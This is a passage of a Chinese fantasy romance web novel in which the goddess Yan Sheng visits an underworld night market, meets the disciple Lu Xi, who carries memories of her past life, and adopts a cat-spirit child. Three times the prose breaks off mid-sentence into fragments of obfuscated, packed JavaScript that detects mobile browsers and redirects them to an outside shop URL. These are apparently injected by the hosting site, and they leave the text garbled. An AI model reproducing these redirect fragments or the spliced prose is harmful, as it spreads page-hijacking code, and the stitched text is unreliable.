窦不迟呆呆点头,连眼神都没聚焦,嘴里机械重复:“甚好,甚好。” 颜笙有一瞬间想起自己的点头怪。转念一想,土豆精靠自己的根茎就能繁衍生息,哪里懂男女之情,不奇怪,不奇怪。 就是窦不迟今日比平时还要呆,眼睛直勾勾地盯着伞,像是活见鬼般。 颜笙不解,也抬头看伞、 伞底飘着一团浅雾飘着。她抬手触碰那团雾,竟一瞬间看到了陆归年。 这伞,当真能招魂? * 颜笙怎么都没有想到,伞居然能招到陆归年的一缕魂。后来她踏遍桃源境,却没有再添一缕新魂。 莫不是其他的魂魄,在桃源以外的地方? 已故亡魂除却桃源境,多往无常界等待轮回,还有一部分无法投胎的,流向三不管之地幽冥。罪大恶极者则关押在陀铃火渊,四面环绕峭壁,以熔浆为河,宛若炼狱。 传言陆归年某位兄长就关在陀铃火渊,陆归年未曾向颜笙提及过此事,因此她一直认为是以讹传讹。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16961652|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 倘若陆归年在下面真有人脉呢? 隔日颜笙下凡,原定降神到无常界百仙庙里偏殿里,但她降到一半,忽然被一股力量牵引,降到八百里外的一处神庙。 这处神庙器宇轩昂的,似乎还是寺庙的主殿。 颜笙走出神像,回头再看一眼神像,虽说与她长得依旧两模两样,但总归是位打扮正常的漂亮女子。 这会儿是黑夜,庙内无僧侣香客,正殿大门紧闭。 颜笙化成一缕烟,从门缝里透出来,正面向一片繁荣热闹的街市。 街道两侧店铺林立,挂着明亮的灯笼。路上走着形形色色的妖怪,他们大多已经化成人形,或是半人半兽,样貌大都和寻常人族无异。 颜笙路过面具摊,挑个了面具,问摊主:“这里是哪里?” 摊主抬头道:“幽冥啊。” 颜笙一怔,记忆里的幽冥是片人烟稀少的荒地,空中弥漫着浓稠的白雾,掩藏在雾气里的是稀稀落落的茅草屋。 崔瑶身材瘦小,站在一棵干巴巴的枣树下,举着一根细长的竹竿打枣。 一千年时间过去,幽冥竟变得比毁灭重建后的混沌界还要热闹不少。 颜笙问面具摊主:“陀铃火渊从这里怎么走?” 面具摊主道:“沿着你身后的鸣蝉阁直走,到尽头处有棵人面树,旁边就是陀铃火渊。” 既然得到了确切的方向,颜笙沿街慢慢走着。前面有鼠兔精表演胸口碎大石,后方有两架骷髅掰手腕。她看了一会儿,看着和混沌界没什么不同。 卖糖人的摊位旁边是药材摊,摊位前面立着一排草药,长得各种动物的形状,前面两根长着猪鼻子的人参,嘴里还吆喝着:“物形草,以形补形,走过路过不要错过。” 颜笙想起放在陆析那里的仙及,便问掌柜的,“有蝉形的吗?” 摊主百忙之中抬头:“姑娘,蝉在幽冥是稀罕物,需要入药的话必须要到陆城主那里请示。” 颜笙问:“城主姓陆……可是和天道一个姓?” “天道?”摊主警觉地一瞥颜笙脚下,“不对,你不是这里的人,你是桃源境的细作!” 摊主唤人来捉颜笙,颜笙慌张闪回,钻进鸣蝉阁的神像里躲避追捕、听到外面动静消了,她才动身离开鸣蝉阁。 颜笙驾云朝陀铃火渊方向飞去,回头瞧向幽冥夜市。 灯火通明的街区顷刻间变暗,逐渐收缩成一片空地,被浓重的白雾所笼罩,只依稀可见一棵瘦弱的枣树。这和她初到幽冥时所见雷同。 前方有一团高耸的枯木,离近处瞧见是鬼面树。 树的附近有一抹白影,但那抹白色与亡者若隐若无形态不同,似乎在地上有影子,似乎并非是鬼道,倒像是凡人。 那位鬼祟的凡人穿过鬼面树,随后消失不见了。 颜笙降落树前,伸出掌心贴着那棵鬼面树,觉察到有一股力量牵引着她,把她吸进树干,但眨眼的功夫又把她吐出来。 她出来以后,左右观察地形。 这里竟然是抱朴派后山? 身后传来清晰的脚步声,颜笙心跳得极快,深呼吸几下,忽闻见一股薄荷香,那味道温温柔柔袭击着脑海。 她慢慢把头转过去,紧张地瞥向来人,发现是抱朴宗的弟子陆析,正站在树下避雨,肩膀的衣服已经湿透。 颜笙撑起她的招魂伞,靠近时说道:“进来吧,我送你回去。” 陆析挤进伞下的狭窄空间,由于他身材比颜笙高一些,便从颜笙手中接过伞柄,为两人撑伞。 他身上常有薄荷香萦绕左右,此刻香气被雨帘困在伞下,比往常愈发浓重。颜笙感觉到暖融融的呼吸贴着额头,脸颊烧得有些热。 4. 猫形草 她略微看一眼陆析,待他将目光投过来时,她迅速低头看向别处。她的视线刚好落在他提着的竹篮子,里面装满刚采摘的..... ......枯藤? 下雨天还来摘枯藤,你没事吧? 那花间隐约还藏着什么,颜笙忽而恍然大悟,于是开口:“陆修士,你可有在后山捡到什么奇怪的东西?” 抱朴派的派规是不得说谎,若撒谎程度过甚,会被逐出宗门,但宗门弟子往往会拐弯抹角地遮掩。 陆析不然,直截了当回答:“半年前在后山捡到一个受伤小童。” “真的?”颜笙伸手探入陆析的竹篮,拉出四仰八叉的猫形状的草药,骤然间想起叼走她令牌的猫妖,便是冷笑:“我以为是一只猫,橘色的,圆脸的。” 陆析没急于自证,自顾自说道:“还捡到一条绢帕。” 说完递给颜笙一个盒子,竟是她揣给崔瑶的锦盒,里面装着她抄录的崔攸霁的酸诗。 颜笙怕陆析误会,随口解释道:“这是凌云庙内崔神使家人所写。” 陆析细不可闻地轻叹,打趣道:“颜笙俗世时出身琅琊颜氏,‘长念君颜色,感结伤心脾1’,这两句是已经绝迹的颜体小篆。” 颜笙见抵赖不得,懒得争辩:“你觉得我写悼亡诗做什么?依我的性子,真要是想念谁,直接把他从地狱里拉出来,用不着写酸唧唧的诗。” 陆析也不惯着她,直言:“这么说,上神带着招魂伞去幽冥,是打算把谁从地狱里拉出来?” 被说中心思了。 颜笙不打算承认,打岔道:“这么说,你承认刚才在幽冥。竹篮里的草药也是从幽冥夜市买的。” 陆析不置可否。 人面树离陆析居处不算遥远,其实只有两步道的距离,颜笙跟着陆析进了竹楼,瞧见暖炉旁边一个簸箕,里面塞着棉花,当中蜷缩着一只蔫巴巴的橘猫。 陆析把物形草放入一个瓷盅里,微微加热,又对颜笙说道:“捡到他的时候是个孩童。他名为‘像橘子’,发烧时总喃喃着颜笙上神的名字,应该是旧识。” 颜笙略微想了想,不认识这么一号人,摇头道:“想不起来一点。” 过了一会儿,颜笙见火开了,便起身打开后面的柜子里,瞧见里面果真摆放着一副碗筷。 说不好为何,她明明是第一次来到这地方,却很快能熟悉这位独居男人家中摆设,仿佛是这些东西被故意摆放成她习惯的位置。 颜笙拿出一碗一勺,轻轻放在桌面。 陆析盛了一碗药汤,微微掰开橘猫的嘴,小心翼翼地把汤药喂进去。 那橘猫眯着懵瞪睡眼,尝到苦兮兮的汤药,猛然反抗。颜笙及时给猫加了定身咒,撬开猫嘴,陆析顺势把汤药灌下去。 两人把猫抱到二楼的,暂时放到松软的卧床上。陆析带伞出门,说是要给院子里的植株土地罩上布料,以免受大雨影响。 颜笙点头应允,多留一会儿,替陆析看着那只服药的橘猫。 待到天黑时,陆析才刚回屋歇息,颜笙依旧坐在旁边。 猫躺在床铺上,舒服地伸展四肢,长成一个孩童,但依旧沉睡着。 颜笙不禁感慨:“还真是捡到一个小童。” 陆析没打算隐瞒:“三个月前,这猫妖在人面树下被青口精所伤,法力衰微到无法支撑人形,化形成一只猫,我便去幽冥问药。没想到他后来睡醒,还有力气叼来了您的令牌。” 颜笙唏嘘,“那你昏迷是怎么回事。” 陆析道:“之前遭人面树袭击,之后便昏迷了整整一个月。” “啊?”颜笙明显吃了一惊。三面树本身不过是三棵枯树,竟还有力气袭击凡人?这说法听起来有些荒谬,但她没有说出口,只是暂时按下了心中的疑问。 陆析望着颜笙,轻轻叹了口气。她表面上听得认真,心里大概也是不信的。 这件事若不是亲身经历,恐怕连他自己也不会相信。 谁能够想到抱朴派一介不起眼弟子,替天行道之时,竟莫名被一棵枯死千年的树缠住,随后陷入长久的昏迷。 他的脑海中还被强行灌入鹤冲派掌门陆归年的记忆。 更出乎意料的,他在陆归年的记忆里,看见了年轻的颜笙上神。 颜笙上神是抱朴派祖师。在从小到大的教诲里,她是位见素抱朴的老妪,总是一副偃蹇姿态,应当瞧不上廉价的爱欲。 在记忆里,颜笙年少时长相极美,世间一切高岭之花和她相比,都成了路边野花,而自惭形秽。可这样的女子,却对他奴颜屈膝,实在有些幻灭—— 她怎会看上这般普通的男子? 虽说如此,能得到信奉神灵的偏爱总归是幸福的,陆析也不例外。正当他把自己代入陆归年,并沉溺其中时,偶然发现颜笙上神对他别有所图,似乎有预谋要杀了他。 再到后来,便是那场大婚夜,她举着剑动手杀他。 陆析没有继续看下去,便从梦中清醒,醒来后只觉得心痛如绞,仿佛里面那个陆归年就是他自己。 他一度怀疑梦境的真实,毕竟颜笙上神和认知里的差距甚远,直到后来见到颜笙上神,果然是梦里的那副年轻长相。 陆析对梦见的东西将信将疑,决定藉此机会继续试探。他从床头的药柜里,取出一个陶瓷小罐,交给了颜笙。 “这点东西不成敬意,就当是感谢上神照顾小童的谢礼。” 颜笙打开了罐子,这里面装着千年蝉蜕。 她看见蝉蜕有点不知所措。 抱朴派独门功法之一的《金蝉》,由颜笙观察仙及起居时所创立。金蝉功顾名思义,修行者模仿蝉将自己外壳脱落。等脱到最后一层,便能返璞归真,飞升为仙。 这套功法的副产物,也就是她的躯壳,就是点头怪的制作原料。 可这套功法刚诞生时并不成熟,里面有很多瑕疵。颜笙练功走火入魔,灵魂在蜕壳时不慎撕裂,她日夜饱尝疼痛折磨。 陆归年用千年蝉蜕以及她练功蜕下的躯壳,熬制成汤药,并令她每日服下。 后来颜笙修缮了功法,就再也不曾灵魂撕裂了。这个抱朴派弟子,拿出来蝉蜕做什么? “怎么了?上神难道不喜此物?”在旁边的陆析一边说,一边观察颜笙的反应,看她变幻莫测的表情,记忆的事情大抵是真的发生过。 颜笙嘴角没有笑意,只说:“这是修复灵魂的灵药,我又没有灵魂损伤。” 显然颜笙是想否定这段过往。 陆析大抵猜出颜笙杀害陆归年的原因,或许是陆归年见过她走火入魔的惨状,而她不想让别人知晓? 这般无情……陆析竟松了一口气,这才是符合认知里的上神。 陆析不打算戳破,自我剖白道:“我灵魂有缺。黍掌门赠与我千年蝉蜕,说他以前练功时灵魂撕裂,用此物可滋养灵魂。与我而言,这便是最珍贵植物。” 颜笙想起来,陆析却是灵魂残缺,会服用定魂药物情有可原。兴许他拿出蝉蜕,是想求她这位上神指点一二。 颜笙自然不吝赐教,问道:“有句话不知当问否,你自来便是灵魂残缺,还是练功走火入魔?” 陆析回答:“入门时便是无法修仙的体质,但掌门安慰说,也许可以做个低阶地仙。” “那你用这蝉蜕也没用。”颜笙无奈,安慰地拍拍陆析肩膀,“不过掌门没有骗人。我瞧着你积了十世功德,应该可以的。” 陆析看着肩头落着的纤纤玉手,想起来记忆里这只手也曾握着斩仙剑,不觉抬高手臂,想要抓住颜笙的皓腕,将当年的事问个明白。 熟睡的小童突然睁眼,朝着他们的方向喊了声“爹”。 陆析赶忙将冲动的手收回袖子,看颜笙起身走向小童所在的榻,他也跟了过去。 颜笙听见了,以看热闹的眼神看着陆析,打趣道:“常听人说,小动物把第一个看见的人认作亲人,这会儿算是见到了。” 见陆析没说话,颜笙打量着小童又说道:“瞧这小童面容怪清秀的,和你生得有那么点相似,不如认做义子如何。” 陆析没说话,扶着那小童起床。小童甩开他的胳膊,并不领情地跳下床,直冲到颜笙面前,扑通跪下,额头点地:“爹,请受孩儿一拜。” 突然冒出来一个好大儿,给颜笙整不会了。她看向陆析,见他泰然自若,仿佛早料到有此事。 颜笙觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16961653|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得不对劲,先是被猫抢了令牌,引到宛宛类陆的弟子这里,然后被强行认了个猫妖儿子,所有事仿佛一气呵成。 她大呼上当,反问道:“该不会是你们联合起来仙人跳吧?陆析,我劝你善良。” 陆析指着小童的衣服,“他穿着鹤冲派的制服,你认为抱朴派的弟子会见过鹤冲派的衣服?” 对啊,鹤冲派飞升的时候,抱朴派只有黍三刀和八大长老,陆析的年纪应该不曾见过鹤冲派,哪会知道他们的衣服,还找来一件碰瓷。 但颜笙总觉得这话哪里不对劲,但她还没往深里想,就觉得大腿被什么缠住。 那小童抱着颜笙大腿,喊道:“爹,我是项橘子啊。” 这一声中气十足的“爹”,莫名地耳熟。颜笙脑海中浮现一个胖小孩的脸,五官和眼前的小童有点像,但年岁小一点。 时间过得太久,她差点忘了,当初她和陆归年的确收养过一个圆脸猫妖。 最初颜笙拜在金蝉派,派内仅剩她一个在世弟子。陆归年见她门派凋零,点化一只猫妖叫她认做徒弟,好解决燃眉之急。她名下有个徒弟,总不至于灭派。 这猫妖资质太差,根本修仙无望。 她曲解了陆归年的好意,总觉得陆归年在折辱她,非要不顺着他的意,硬把猫妖认成义子。 后来颜笙与师门决裂,金蝉派彻底倒了。后来黍三刀建立了抱朴派,把颜笙奉为师祖,她这才有了现在的门派。 至于那只义子猫妖,在她飞升时才筑基,还以为他早就死了。没想到,他靠着延寿丹吊到了现在。 “我记得你是叫圆胖橘?”颜笙问道:“什么时候你给自己起了个别称。” 圆胖橘听到颜笙认出自己,连忙笑着挠头,说道:“爹,这好像是我真名。” “爹不在的日子里,有一次我差点挂了,临死前出现了马灯。我瞧见我是个穿铠甲的人,正抱着口大锅吃饭,忽然被千军万马围住!我一急,就把锅丢河里了。结果水里溅起一大团熔浆,烧退一半敌军。我赶紧拉起旁边的一个漂亮妹妹往外冲。” “事后我琢磨了一下,我前世可能是个人族,姓项。后来又遇到了那个漂亮妹妹,那妹妹喊我叫什么橘子哥哥,还是其他什么很像橘子的水果,我记不得了。” 颜笙道:“项家是世家,给自己孩子起名橘子,我怎么不信?罢了罢了,反正我叫你圆胖橘,也差不多。” 不过,这只圆胖橘身世是有点邪门。 颜笙把圆胖橘名字报上去了,户部那里却给她打回去了,说他资质太差不予承认仙籍。她的哑蝉仙及修为也低,却能写入仙谱。后来打听过才知道,圆胖橘祖上三代有人犯仙法,所以他身负罚印,不得在桃源境挂职。 总之,颜笙将他带不回桃源境,只好拜托陆析:“你先替我照顾圆胖橘,回头我发给你延寿丹和珍稀草药。” “这一世,又要拜托叔父了。”圆胖橘瞅了瞅陆析,露出一抹欣慰笑容,眼睛闭起来,再次倒向后方。 陆析从后面托住圆胖橘的后脑勺,把它扶回卧榻。 圆胖橘面露痛苦神色,缩成一团,额角全是冷汗,渐渐退回橘猫模样。 颜笙和陆析略懂些医术,但那是对人的,又不是兽医。也不能声张这事,若传到桃源境,仙人们听说她多出个好大儿,更要在背后攻讦她。 两人一合计,决定带着圆胖橘去幽冥,毕竟他是吃过幽冥的物形草才会有这种情况。 颜笙把圆胖橘塞进两仪袋,陆析打开人面树的机关,颜笙才知三面树竟是联通三界的机关。 两人进入地下世界,飞到幽冥地盘的上空,降落在枣树旁。 映入眼帘一片荒地。 颜笙记得前晚这里是夜市,但如今只有一片荒地,和一棵枣树。 陆析突然拿来一根竹竿,颜笙正纳闷着,只见陆析径直走到枣树边,拿着竹竿敲枣。 颜笙拽着陆析袖子,赶忙阻止:“这是我徒弟家种的枣树,你都敲了,她家还怎么过冬。” 陆析偏头,“这是进入夜市的入口,每个人到这里都要敲枣。”等他敲完两下,此处豁然出现一个发光的空气墙。 颜笙回想起来,大呼上当。 5. 幽冥夜市 颜笙记得初遇崔瑶,便是在这棵枣树下。 一个瘦削的女孩,正踮脚敲枣,任谁都会当她是拾荒的小可怜。 尤其是听闻她的凄惨身世,她有个“负心的爹,早逝的娘,体弱多病的养父”,典型的小苦瓜。 颜笙当时心生恻隐,没多想,便将她收作徒弟。 陆析问:“上神既然不知道这枣树的秘密,又是怎么进入的夜市。” “直接进去的。”颜笙拉起陆析的手,“你跟我来。” 陆析手心一热,瞧见颜笙和他十指相握,那段荒谬记忆里的柔软触感和此刻的触感重叠,他的心仿若也被她攥在手心里。 还没等他挣脱,颜笙一个闪身,两人置身于一个狭窄而黑暗的空间。 他们降临在鸣蝉阁的神像后方。外面都是走动的人群,他们两个窝在神像里不敢妄动,那是个纤细女子的神像,不足以容纳他们两个,故而两人贴得极近。 黑暗之中人的五感会变得更加敏锐。 陆析自认为转生后能轻松应付颜笙,但此刻颜笙贴在他的胸口,睫毛轻扫他的脖颈,搔得他有些痒。 神像是密不透风的构造,里面填满香料,一股刺鼻的花香冲得他有些醉了。 明知道她不可攀摘,爱慕她和找死有分别吗? 陆归年的记忆袭向陆析的脑海。 身为天道的陆归年也曾经为人,颜笙前世也长得漂亮,他自然也会被吸引。不过他了解轮回的机制,没有把短暂的暗慕移情到颜笙身上。 况且,陆归年有个不愿想起的秘密,导致他始终对她以礼相待。 但很快,陆归年又注意到这位初恋情人的转世了。 她实在是太难杀了。 颜笙在凡间游历时,换过无数名字和身份,无论贫穷还是富贵,每次的寿命都能超过命书上写好的年限。 世上所有人的命运相互交织,她不按照既定的剧本走,别人的命运也旁生枝蔓。 陆析为此伤透脑筋,不得不亲自下场带走颜笙投胎。 为了防止颜笙继续捣乱,他故意给她的命运里加点料,让她人生险象环生。但颜笙这个人倔得跟棵竹子似的,从未有什么事能压弯她的脊梁。 只要给她留一口气,她奇迹般秽土重生。 到后来,陆析放弃了,不想再花费心思和她斗。尽管她的心性不是成神,但他把她的命格改成修士,也想看看她这一世究竟能延生多久。 陆归年在混沌界建立鹤冲派,为的是培养合适的仙才。鹤冲山上灵气充盈,门派经常收留路过的散修打秋风。 某天,陆析听到鹤冲派弟子汇报,说有位打秋风的修士,赖在鹤冲派三个月不走。 多一个修士打秋风,鹤冲派不至于山穷水尽。这修士不眠不休,也滴水不沾,且寿数将近,弟子们怕她在鹤冲派坐化了,便有心驱逐。 陆归年去灵犀泉,瞧见那女子极为眼熟,竟是那位难杀的颜笙。 颜笙不知得了何等机缘,也没有离世,且醒来后主动撩拨他。 两个人不久后便互通心意了。相处十载,看她境界已达到飞升的最低要求,陆归年便顺理成章议婚了。 但他怎么也没有想到的是,大婚前夕才发现颜笙想杀他。 所以今生成为陆析,他不打算再重蹈覆辙,过去的恩怨他们两人一笔勾销就罢了,以后他们各走各的独木桥。 陆析感觉手心来自颜笙的温度,那些虚情假意的记忆再次萦绕脑海。他稍微发力推开颜笙,却被颜笙握得更紧。 颜笙趴在陆析胸口,凑到他的耳边,柔声道:“现在庙里似乎是白日,有人现在在庙里,等庙里的人少一些我们再出去。 陆析毫不客气地戳穿:“上神不是施加了隐身咒吗?” 颜笙“哦”了一声,也许是她想错了。 刚才有一瞬,她真觉得他就是陆归年。平日里,那人心跳安稳如鼓,每分钟五十余下,而只要她靠近,就会陡然加快,急促得仿佛要冲破胸膛。 陆析的心跳节奏,竟与那人一模一样。 两人离开神像时,颜笙微微仰首舒展,目光停在高处雕刻。她轻声笑了一下,似是转移话题:“凡间信徒做的雕像,总和我不大像的。” 陆析马上想起抱朴派供着的雕像,黍三刀似乎曾经说过,颜笙上神真身太过貌美,会导致弟子迷失道心,所以故意做得没那么像。 于是做成了一位老太太模样。 陆析问:“过去还有像过的?” 颜笙点头道:“以前鹤冲派有个飞颜阁,里面放着八十尊我的雕像,后来被我拿去显熠宫。若非不舍得,我早把抱朴派的那尊换掉了。“ “这样啊。”陆析冷淡回应。飞颜阁里的八十尊雕像,就是他亲手雕刻的,他岂会不知。 颜笙看他没反应,打消了自己的怀疑,也没再继续这个话题。 两人出了鸣蝉阁,在一处高树的阴影里,显现出了身形。 颜笙想起上次她在这里引起的骚乱,翻出上次买的面具套在脸上。陆析比颜笙更熟悉幽冥街道,便走在她前面。 草药摊的摊主自然不肯认为是自己草药的错,便叫两人去南瓶医馆找牦牛精。 两人哪里去过这里的医馆,便四处问路。 “你找南瓶医馆,南边二十步。”路人看陆析点头,又说:“那你怎么能找毛豆腐看病,他是给动物看病的。你该去找德古科,她最擅长正骨。” “是来看家里的猫,我身子无碍。”陆析道。 “别误会。你看着年轻力壮的,身子骨肯定没问题。”摊主暧昧地笑笑,看了一眼颜笙,又说:“看你夫人一直抻长脖子,我还当她落枕了。” 陆析冷淡道:“她只是喜欢仰着脖子。” 颜笙狠狠剜了陆析一眼,但表情被脸上的面具遮挡着。陆析看不到,只觉得后背有点凉。 颜笙拽了拽陆析的手,摸向自己腰间的两仪袋,示意他赶紧去医馆。陆析也是鬼迷了眼,拍了两下颜笙的手背,示意听到了。 这举动让颜笙愣了一下,陆归年也有过这样的动作。 * 二十步外的南瓶医馆外。 毛豆腐今日没有客人,杵在门口跟个门神似的,正要打盹,朦胧间瞧见不远处走来一男一女。 这对男女的身材在无论何种族都偏高。男子穿着宽松的素色长袍,倒也没什么。女子穿着浅黄的袄子,戴着一副鬼面,腰杆挺得笔直,脖子看着不大好,似乎有点落枕。 毛豆腐看这脖子,“这是落枕了?还是腰椎伤到了?” 那女子似乎是哑巴,一直朝她摆手,但什么话都发不出声,只是凌乱地摆着手势,一会儿摸摸了腰。 毛豆腐看不明白,急冒出一脑门子冷汗。他怕俩人跑了,便不由分说地把两位客人拉进小院,打算进屋再详细问清病情。 在颜笙看来,毛豆腐是看懂了,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16961654|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伸手去拿绑在腰间的两仪袋。怎料毛豆腐把她的手腕拉过去,径自号脉起来。 “夫人脊椎没问题,至于别的毛病,我想想….” “恭喜,夫人这是喜脉。回去得补气血,多喝点千年姜精配红枣水。” 颜笙:(⊙_⊙)? 陆析盯着她,在脑海里把天上的男仙名录过了一遍,又回想着颜笙过去世的情史,再对比两人看似甜蜜的过往,一股苦涩蔓延在心头。 他淡淡道:“她素来不嗜甜食,总爱自己找苦吃。” 颜笙猛踩陆析一脚,从两仪袋里拉出圆胖橘。 陆析理智收回来,指了指圆胖橘:“猫才是今日的病患。人就不劳您费心了。” 毛豆腐替圆胖橘把脉,说:“这猫是个瘦胖子,体脂高而气血不足,回去炖些低脂高蛋白的灵食调养,早晚能活蹦乱跳。” 听到圆胖橘身体无大碍,颜笙松了一口气。 等会毛豆腐带陆析去自家药房取药,毛豆腐家的药并不贵,陆析替颜笙先垫付了。 毛豆腐小声重复刚才的诊断:“你家夫人怀孕一千年了,但你看着仅有五百岁。那妖怪骗你给她养孩子。” 陆析摇头:“她不是妖怪。就算是又如何。” 毛豆腐仍坚持:“你听过桃源境的颜笙吗?据说她是一只蝉精,飞升前把凡人丈夫杀夫证道。小心她把你吃了。” 身为仙人的颜笙耳力极好,远远地就把俩人的对话听进耳朵里,心道这老庸医好端端还提起她名号,还造谣她是蝉精。 正等着陆析解释两人的关系,听半天没听到陆析出声,打算亲自跑出去理论。 陆析叹了一口气,想起颜笙的事便心口一紧,半真半假地表示:“若她真能爱我,为她死过一次也没什么。” 外面毛豆腐气得够呛,屋里的颜笙差点笑晕过去。 可真有他的,这小信徒……人家那里挑拨离间,他这边解释不通,就扮起无怨无悔小媳妇。 颜笙脑海中忽然浮现窦不迟的提议:她找个仙侣如何? 身边若有个这样的假情人,帮她顶回去别人的指责,倒也不是不可以。况且这男人的长相,确实对她的审美。 陆析回屋时,颜笙装作什么都没听见,满眼笑意藏不住。 出来没多久,颜笙邀请陆析陪她逛逛街市,陆析仍想着颜笙有孕的事,便直接拒绝,只说他要回去歇息,改日抱朴还有晨会。 颜笙没有强人所难,但为了表示感谢,去鲸鱼精开的点心铺,买了一盒枣花酥。回到抱朴派以后,她把点心拿给了陆析作为谢礼。 颜笙道:“枣花酥是幽冥的特产,以前宫里的神使瑶儿就是幽冥长大,她义父常和她带枣花酥看望我。” 陆析提着点心思索,发觉颜笙提崔瑶这名字提得实在有点频繁。记忆里是有位熟人,万年前在幽冥收养了个女婴。他身边刚好有只枣精随从,经常做枣泥点心。 他不禁将心中猜测脱口而出:“崔瑶义父待你不薄,你与他又……” “她义父……你说张脆枣那只万年枣精?”颜笙奇怪地看了他一眼,“怕不是那庸医误导了,我孑然一身,哪来的孩子?跟崔瑶的义父更没关系。” 八竿子打不着的猜测。张脆枣可是位白胡子老叟,当真是把她当成是庙里供奉的老妪了。 “嗯。”陆析假装不在意地应了一声。那人也不是枣精,兴许是他误会了,他们应该没有再见过面。 6. 姚夫人 无常和幽冥的昼夜,与混沌界是颠倒的。颜笙和陆析回到鹤冲山时,混沌界天色将明未明,外面的风微寒。 陆析没有邀请颜笙入屋,只说要带圆胖橘回去。 颜笙问了陆析关于鸣蝉阁的事,得知鸣蝉阁里供奉的是幽冥城主,那城主是位姓姚的女子,别人都叫她姚夫人。 颜笙忽道:“幽冥城主,我还以为是陆贺年。” 此话一出,陆析满脸的错愕,但半天也只是沉默,并没有回复。正当颜笙打算再问一遍,却见陆析忽地把门合上。 很快屋内熄灯了。 和颜笙一起关在外面的,还有颜笙派去监视陆析的侦查蝉仙及。根据她和陆析的约定,在陆析就寝和沐浴时,仙及不可以在屋内。 侦查的任务就是个幌子,仙人都知道仙及的法力极低又懒,颜笙只是找个借口让仙及活动活动筋骨。 陆析却当真了。 颜笙不忍仙及挨冻,便把它带回到显熠宫。一进门,仙及便引着颜笙飞向藏卷阁。 藏卷阁里有颜笙历年实现的愿望卷宗,每年年末时,各宫的神仙都会上交藏卷宗,算做事年度业绩考评的一部分。 颜笙不算是上交卷宗最多的神仙, 很多仙人靠实现信徒的愿望,获得香火以维持性命。她在桃源界并不依靠这个营生,多是在投资产业,比如说天界荔枝种植园。 虽说如此,她过去很少吃荔枝,因为她很少吃甜食。她的饮食和作息极为健康,也从不饮酒,也不肯成婚,就为了多活些年头。 可她连续八十世都不是老死的,而是被同一个男子所杀。 这是多大仇?就算有仇,杀她一世就算了,还追杀她整整八十世,这是有多恨。 每次死前,她都能看见这张道貌岸然的脸,想不记住都难。 在第八十一世时,颜笙打听才知道,这杀他八十次的男子叫陆归年,是修真第一宗门鹤冲派掌门,在世人眼里,此人可是德高望重的世外高人。 颜笙为了能够顺顺利利地活下去,她决定找上门戳穿这变态的真实嘴脸,为人间伸张正义,她这才上了鹤冲山。 直到后来她才知道,陆归年是天道。 杀她是因为她太难死了,总能活过她该走的寿数,而且单纯的灾祸杀不死她,只能天道亲自下凡送她上路。 “咳咳——”颜笙咳嗽两声打断她的回忆,这藏卷阁的灰尘积得有点多,回头得再招位神使了。 她在卷宗里翻了一会儿,总算找到了一本别册,上面有着无常界神庙里的愿望集,到尾部还有一个未归类的外编,上面标着幽冥。 藏卷阁外有脚步声。 颜笙抬头,进门的是甄婉,也是陆归年在鹤冲派的亲传弟子,负责无常界偏神殿的愿望整理。 甄婉这会儿正端着今日的卷宗过来。 “让我看看。”颜笙夺过卷宗,很快翻到最后几页,翻到了外编,逐条阅读发现最后有一条极为啰嗦的愿望: 今日出诊遇到一位凡人小哥,带着妻子来看病。那妻子是个妖怪,怀着妖胎赖上凡人小哥了,还请神仙主持公道。 颜笙目光凝滞一会儿,这愿望该不会是幽冥那个毛豆腐许的? 看来幽冥的那座庙是她的,这姚夫人总该不会是她吧? 颜笙记得录入仙籍的时候,负责档案的小仙说,她自诞生起便是凡人,从未堕入过其他道。 甄婉的指尖划到这条愿望下面,说道:“我查了一下,那位公子名为陆析,是个十世善人,而他的长相有点像师父。“ 颜笙当然知道陆析长得像陆归年,点头道:“是挺像的,但我试探过他的根骨,只是一个凡人而已,不值得挂心。” “可是……”甄婉略带失望。 颜笙打断她的话,合起册子往旁边一放,交代道:“婉儿,这对男女并非正缘,你回头帮他们早做了断吧。” 门口传来通报,说清凉殿的崔攸霁前来显熠殿拜访颜笙上神。颜笙令甄婉替她收拾藏卷阁,顺便打扫一下,随后出门了。 甄婉再次翻开册子,满腹皆是疑惑。她敬重师娘,可心底的那点不安却挥之不去。师母好端端竟然会来这里,且就只是交代一条感情愿望的处置。 天上的规矩是宁拆十座庙不拆一桩婚,只要不是天诛地灭的事,哪怕渣女贱男也不会拆开。况且那条愿望的许愿人和他们非亲非故,神仙都不会多管闲事。 师娘竟叫她拆散那对小情侣,怕不是要将男人当做替身? 甄婉摇摇头,不愿师娘一错再错,索性没有照做。她又担心师娘暗中出手,便悄悄去了一趟良缘阁,替那对小情侣送上一道红鸾祝福。 * 书房所在的院子里冷冷清清的,里面站着一个神清骨秀的年轻男子。 